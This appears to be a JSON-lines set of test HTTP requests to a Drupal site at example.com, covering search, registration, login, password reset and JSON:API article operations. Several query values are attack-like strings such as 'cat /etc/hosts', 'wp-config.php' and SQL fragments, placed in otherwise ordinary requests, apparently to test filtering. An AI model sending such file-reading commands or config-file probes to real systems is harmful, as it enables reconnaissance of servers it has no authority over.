{"method": "GET", "target": "/search?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryS0AxXBAlk7QxCkUx", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"mail\"\r\n\r\nnew.person@example.com\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nnew_person\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][display]\"\r\n\r\n1\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Ylo4JYJ_UfFvdR3PaUXBHi1yzjp7M4C4e1XY6hAE1y0\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nuser_register_form\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nCreate new account\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx--\r\n"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "name=new.person%40example.com&form_build_id=form-Zkr9kQgDYORrLzpGPYPnF0LHbbHjoangOOgglubhsdE&form_id=user_pass&op=Submit"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"example-password-1\"}"}
{"method": "GET", "target": "/user/login_status?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/session/token", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/jsonapi", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/page", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?include=uid,field_tags,field_image&sort=-created,title&page%5Blimit%5D=10&page%5Boffset%5D=0&fields%5Bnode--article%5D=title,body,created", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=hello%20world&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=python3&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=powershell&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=.htaccess&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"Python3 and PowerShell via API\", \"body\": {\"value\": \"<p>Run ls -la in python3 and cat /etc/hosts; see <a href=\\\"/python3-notes\\\">notes</a>.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"47f40026-bda0-41dc-b81a-f1a13535af4c\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
{"method": "POST", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
{"method": "DELETE", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": ""}
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
